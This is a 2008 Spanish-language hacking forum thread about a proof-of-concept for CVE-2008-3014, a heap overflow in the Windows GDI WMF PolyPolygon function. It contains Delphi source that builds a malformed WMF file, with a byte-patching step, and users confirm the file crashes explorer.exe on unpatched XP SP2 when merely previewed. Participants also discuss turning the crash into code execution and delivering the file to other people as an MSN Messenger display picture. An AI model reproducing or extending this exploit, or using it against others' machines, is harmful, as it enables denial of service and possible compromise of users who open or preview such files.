Autor
|
Tema: [°][Poc][DoS] GDI+ WMF BoF funcion PolyPolygon(); (Leído 4,650 veces)
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
bueno despues de quemarme los ojos con funciones de Metafiles de windows, que por cierto , la info es escasa. pude armarme este Poc , que al menos en mi pc funciono y provoca un Denial of service. es un bug que salio hace poquito en security focus. y al toque me puse a investigar , amo los bugs de el gdi  Bugtraq ID: 31021 Class: Boundary Condition Error CVE: CVE-2008-3014 Remote: Yes Local: No Published: Sep 09 2008 12:00AM Updated: Sep 13 2008 06:30PM Credit: Vulnerability Research Team, Assurent Secure Technologies
fuente : http://www.securityfocus.com/bid/31021/infoel poc que arme : http://rs431.rapidshare.com/files/145925641/polypolygon_head_overflow_.zip(es un jpg , (wmf) , que al abrirlo o previsualizarlo crashea el explorer.exe, si lo previsualizas, si no el rundll32.exe) la funcion es la x0538 (PolyPolygon) , y genera un heap overflow al pasarle un array de muchos poligonos con xFFFF puntos cada uno. al menos en mi pc funciona , lo q no quiere decir que en las demas tambien , por eso necesito que lo comprueben otras pc y creo que es un gran comienzo para el que quiera adentrarse en estas cosas. y bienvenido el que pueda ejecutar codigo a travez de este bug como ya una vez paso con el famoso Setabortdoc. bueno espero que les sirva Pd: La funcion Polypolygon es una funcion que se usa para dibujar muchos poligonos , con sus respectivos puntos.
|
|
|
|
« Última modificación: 25 Septiembre 2008, 19:58 por sirdarckcat »
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
y les dejo el codigo de como arme el wmf esta en pascal/ delphi (borland) IMPORTANTE: en el archivo que se crea tenemos que reemplazar todos los 0200 que genera , por FFFF, porq desde el compilador no podemos hacerlo porq es justamente el Bof  program poly;
{$APPTYPE CONSOLE}
uses SysUtils, Strutils, Windows, Graphics, types;
var Wmf : TMetafile; WmfCanvas: TMetafileCanvas; pntArray : array[0..65534] of TPOINT; PntCounts : array[0..8191] of longint; i : longint; a,b:integer; begin Wmf := TMetafile.Create; Wmf.Enhanced := false; WmfCanvas := Tmetafilecanvas.CreateWithComment(Wmf,0,'Leos_79','Poc Creado por Leos_79 solo para usos educacionales');
Wmf.Width := 100; Wmf.Height := 100;
for i := 0 to 65534 do pntArray [i] := Point(25,75); for i := 0 to 8191 do PntCounts[i] := 02; //en el archivo reemplazar los 02 00 por FFFF
PolyPolygon(WmfCanvas.Handle, PntArray, PntCounts, 8192); wmfcanvas.Free; wmf.SaveToFile('c:\testXX.wmf'); wmf.Free; end. espero que les sirva para jugar un ratito jeje  , y si alguien se anima intentar conseguir ejecutar codigo , aunque se ve dificil :S
|
|
|
|
|
En línea
|
|
|
|
w0od93
Desconectado
Mensajes: 29
|
no va, se abre y son letras la foto
|
|
|
|
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
no va, se abre y son letras la foto
es un wmf , es raro pero puede que no tengas asociado abrir el wmf con el visor de windows. pero te aseguro que funciona en SP2 ya fue testeado en varias maquinas. y ni hace falta abrirlo con tan solo previsualizarlo ya esta y las letras es el codigo del wmf jeje
|
|
|
|
|
En línea
|
|
|
|
Rentero
Ex-Staff
Desconectado
Mensajes: 1.163
La paciencia es la madre de la ciencia.
|
Si funciona. Sería bueno conseguir ejecutar codigo como dices jeje
|
|
|
|
|
En línea
|
Firmado.
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
el problema es q solo sobrescribe los 2 bytes menos significativos :S y las direcciones de memoria son de 4 bytes
|
|
|
|
|
En línea
|
|
|
|
|
|
|
Trancek
|
sera que no funciona porque teneis instalado el parche de microsoft, porque esta vulnerabilidad es las que hna sido de este mes creo, que salieron un cojon, o a lo mejor no tienes lo del GDI, yo en mi pc no lo encontraba el archivo vulnerable jej, es raro..
|
|
|
|
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
Microsoft Windows XP [Versión 5.1.2600] Service Pack 2 version del GDI.Dll : 5.1.2600.2180
esto es donde lo probe en casa, y en otras pcs tmb todas con SP2 , con Sp3 hice solo 1 testeo y no funcionó.
saludos!
|
|
|
|
|
En línea
|
|
|
|
Rentero
Ex-Staff
Desconectado
Mensajes: 1.163
La paciencia es la madre de la ciencia.
|
Bueno. En mi PC tampoco peta, pero en una maquina virtual Windows XP SP2 sin parchear absolutamente nada si.
Peta de cualquier manera, incluso dandole a las propiedades de la carpeta a la pestaña de compartir, porque se genera una vista previa. Ahí no solo peta explorer, sino que tambien sale un informe de errores sobre el Dr. Watson.
No se alomejor podría aprovecharse de alguna forma jeje
|
|
|
|
|
En línea
|
Firmado.
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.946
Lavando Platos
|
Alguien ha intentado usar la imagen de display en MSN Messenger?
|
|
|
|
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
como display no pasa nada, lo que no probé es con Carpetas compartidas de msn(la que hace vistas previas) el anterior de Gdi el de escape() hacia el Bof tambien ahi. con el display local EDX queda en 0 entonces falla un CALL DWORD PTR DS: [EDX] EAX 0006FEDC ECX 0006F808 UNICODE "G.EXE" -AEDEBUG 3528 3264" EDX 00000000 EBX 75CA0000 inetcomm.75CA0000 ESP 0006FEC8 EBP 0006FECC ESI 00000000 EDI 00000000 EIP 5911CEE2 MSNCore.5911CEE2
 habria que investigar, esto ocurre con el windows live messenger de Xp
|
|
|
|
« Última modificación: 1 Octubre 2008, 02:52 por leos_79 »
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
si tenes el gdi parcheado no es posible mostrar la imagen osea que solo seria una explotaciòn local lo de la imagen para mostrar
la unica que no probe es la de carpetas compartidas de msn
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.946
Lavando Platos
|
intenten poniendo la imagen desde un cliente como aMSN.. que no modifican la imagen antes de enviarla.
lo haria yo pero mi computadora anda enferma ¬¬
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
leos_79
Desconectado
Mensajes: 189
Anyway, Anyhow, Anywhere
|
lo dejo para mañana lo del alvaromsn  o el que lo quiera intentar ahora que avise  yo muero de sueño y mañana curso algoritmos con pascal  saludos sir! digale a su pc q se abrigue 
|
|
|
|
« Última modificación: 1 Octubre 2008, 07:09 por leos_79 »
|
En línea
|
|
|
|
|
|